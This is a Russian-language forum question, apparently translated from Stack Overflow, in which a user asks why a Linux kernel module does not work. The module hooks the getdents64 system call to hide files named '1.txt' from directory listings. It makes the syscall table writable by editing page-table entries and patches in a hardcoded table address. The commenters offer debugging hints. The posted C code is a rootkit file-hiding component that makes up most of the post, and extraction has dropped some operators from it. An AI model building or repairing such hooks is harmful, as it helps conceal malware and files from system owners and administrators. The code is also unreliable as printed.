#c #linux #linux-device-driver #kernel-module
#c #linux #linux-device-driver #kernel-module
Вопрос:
Я следую этой статье https://exploit.ph/linux-kernel-hacking/2014/07/10/system-call-hooking/index.html , но, похоже, я не могу заставить это работать. Я попытался добавить некоторые printk
для целей отладки, но что-то кажется странным. Это код, который я запускаю —
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/moduleparam.h>
#include <linux/unistd.h>
#include <linux/semaphore.h>
#include <linux/dirent.h>
#include <asm/cacheflush.h>
MODULE_AUTHOR("Tamir");
MODULE_LICENSE("GPL");
void **sys_call_table;
#define FILE_NAME "1.txt"
asmlinkage int (*original_getdents64) (unsigned int fd, struct linux_dirent64 *dirp, unsigned int count);
asmlinkage int sys_getdents64_hook(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count)
{
printk("Inside hook :)");
int rtn;
struct linux_dirent64 *cur = dirp;
int i = 0;
rtn = original_getdents64(fd, dirp, count);
while (i < rtn) {
if (strncmp(cur->d_name, FILE_NAME, strlen(FILE_NAME)) == 0) {
int reclen = cur->d_reclen;
char *next_rec = (char *)cur reclen;
int len = (int)dirp rtn - (int)next_rec;
memmove(cur, next_rec, len);
rtn -= reclen;
continue;
}
i = cur->d_reclen;
cur = (struct linux_dirent64*) ((char*)dirp i);
}
return rtn;
}
int set_page_rw(unsigned long addr)
{
unsigned int level;
pte_t *pte = lookup_address(addr, amp;level);
if (pte->pte amp;~ _PAGE_RW) pte->pte |= _PAGE_RW;
return 0;
}
int set_page_ro(unsigned long addr)
{
unsigned int level;
pte_t *pte = lookup_address(addr, amp;level);
pte->pte = pte->pte amp;~_PAGE_RW;
return 0;
}
static int __init getdents_hook_init(void)
{
printk("----------------nInit Modulen");
sys_call_table = (void*) 0xc18af1e0;
original_getdents64 = sys_call_table[__NR_getdents64];
set_page_rw(sys_call_table);
sys_call_table[__NR_getdents64] = sys_getdents64_hook;
printk("After hooked");
return 0;
}
static void __exit getdents_hook_exit(void)
{
printk("Exiting modulen-----------------------nn");
sys_call_table[__NR_getdents64] = original_getdents64;
set_page_ro(sys_call_table);
return 0;
}
module_init(getdents_hook_init);
module_exit(getdents_hook_exit);
После компиляции и вставки с помощью insmod
я использую ls
команду, но файл все еще отображался.
Раньше я dmesg
видел распечатки ядра, и я вижу только строку «Init Module», а не «После подключения».
Когда я удаляю модуль (rmmod) и снова просматриваю распечатки ядра, я вижу «после подключения» и «Выход из модуля».
Я не совсем уверен, что я могу сделать или как я могу отладить его дальше, чтобы понять, что пошло не так.
**
Комментарии:
1. Какова ваша архитектура? Кроме того, добавьте
n
ко всем вашимprintk()
вызовам, иначе вы не увидите результат ondmesg
.2. Я добавил » n», все еще не видя его. Кроме
rmmod
того, я вижу «После подключения» с меткой времени инициализации. Процессор Arch — i686 в режиме — 32-разрядный, 64-разрядный3. Какая версия ядра? x86_64 переключился
CONFIG_ARCH_HAS_SYSCALL_WRAPPER
на версию ядра 4.17, а i386 переключился на версию ядра 5.7.4.
(void *)0xc18af1e0
Действительно ли магическое число является местоположением таблицы системных вызовов в вашем ядре?5. Адрес правильный, я
grep sys_call_table /boot/System.map-`uname -r
также проверяю его, это версия ядра4.15.0-120-generic